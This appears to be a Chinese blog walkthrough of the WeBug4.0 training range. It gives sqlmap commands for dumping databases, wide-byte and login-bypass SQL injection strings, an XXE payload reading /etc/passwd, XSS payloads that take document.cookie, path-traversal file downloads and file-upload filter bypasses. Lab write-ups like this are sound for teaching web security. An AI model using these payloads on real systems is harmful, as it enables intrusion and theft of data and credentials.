WeBug4.0是基于基于PHP/mysql制作搭建而成的一个web靶场环境。里面包含了常见的XSS SQL 文件上传等常见的漏洞。是新手练习web肾透测试的不二之选。

安装

首先到github上面下载源码,下载完成后放到站点根目录/var/www/html新建三个数据库

create database webbug
create database webbug_sys
create database webug_width_byte

然后将data目录下面的数据库文件,分别导入对应的数据库即可。
浏览器访问主机IP,用户名和密码均为admin成功登录后台。

SQL注入部分

01显错注入

我们在?id=1后面添加'号,即可报错。我们可以构造手动注入语句,也可以利用sqlmap注入。
为了不那么麻烦,这里我直接用神器sqlmap来一梭子!

sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" --dbs #查询数据库

一路直接Y即可!如下图,直接爆出数据库。

爆出表

sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug --tables


爆出表结构和数据

sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag --columns
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag -C "id,flag" --dump

02 布尔注入

怎么判断页面是否存在布尔注入型注入呢?
我们先正常访问,效果如下:

当后面输入 and 1=2 进行逻辑判断时,效果如下:

这时,我们发现虽然没有报错,但是页面显示的不全。这便是所谓的布尔注入注入。
利用方法和第一步一样。

03 延时注入

没有多大卵,和前面一样,在sqlmap中执行同样的命令即可。

04 post注入

进入页面后,有一个搜索框。随便输入内容点击搜索。然后在burp中抓包!

将抓到包保存为txt文件,在sqlmap中执行命令

sqlmap -r "11.txt" --dbs


后面的也就一样了。

05 过滤注入

和上一关一样,没有多大的技术含量。

06宽字节注入

宽字节是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。
如果编码是GBK,我们在前面加上 %df' ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。
注入
我们首先利用BURP对当前页抓包。
报错数据库

%df' union select 1,database() %23


不用burp也行,直接在浏览器地址栏中输入也行。
爆出表

%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23

07 xxe注入

获取Linux系统密码

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">]>
<x>&f;</x>

在搜索框中,提交xml代码即可。

08 csv注入

我的环境有问题,搞不出来,不搞了。

09 万能密码登陆

用户名和密码都输入' or 1=1#成功得到flag

xss篇

01反射型

直接构造<script>alert(大表哥牛逼)</script>

flag:<script>alert(document.cookie);</script>

02 存储型

利用反射的的payload:id=<script>alert(document.cookie);</script>

03 DOM型xss

DOM型XSS不经过后端,只是在前端进行。
payload :" > <script>alert(1)</script>#
flag:" > <script>alert(documen.cookie)</script>#

04 过滤xss

用不了script标签,那么我们就换一种方法即可,换一种标签
利用img标签和onerror配合来进行绕过
payload:<img src=1 onerror=alert(document.cookie)>

05 链接注入

利用XSS进行网页跳转
example:<a href=https://www.bbskali.cn>来啊~快活啊</a>
当用户点击之后,就跳转到了指定页面。
还有不用点击的呢:

任意文件下载

点击下载按钮,进行抓包。
可以到达下载的文件位置为template/assets/img/1.txt

这时,我们可以尝试下载系统中的任意文件,如sql/webug.sql文件,修改包中的数据为
sql/webug.sql,然后放包!

mysql配置文件下载

同样的道理构造下载mysql的配置文件
payload:file=../Extensions/MySQL5.7.26/my.ini

文件上传

01 文件上传(前端拦截)

我们先直接尝试上传php文件,提示如下

右键审查元素,我们可以看到只限上传格式为image

<script type="application/javascript">
    function type_filter(files) {
        if (files[0].type.split("/")[0] == "image") {
            return true;
        } else {
            document.getElementById("file").value = "";
            alert("不允许上传该格式类型");
            return false;
        }
    }
</script>

对input分析

<input type="file" name="file" id="file" onchange="type_filter(this.files)">

我我们只需要删除onchange="type_filter(this.files)"即可!

02 解析漏洞

这个和apache以及nginx的配置有关,原理是将PHP文件保存为jpg格式,通过nginx的解析漏洞,将jpg文件解析为php文件。
环境所限,搞不了。

03 文件上传(畸形文件)

通过阅读源码,发现对php文件做了过滤

if (strstr($file_ext, "php")) {
        $file_ext = str_replace("php", "", $file_ext);
    }

我们可以利用.pphphp双写形式绕过。

04 文件上传(截断上传)

在repeater里面将文件名改为 shell2.php龘.jpg,send(环境因素 未成功。)

Kali黑客笔记一键关注
Last modification:May 17, 2022
正在沿街乞讨中……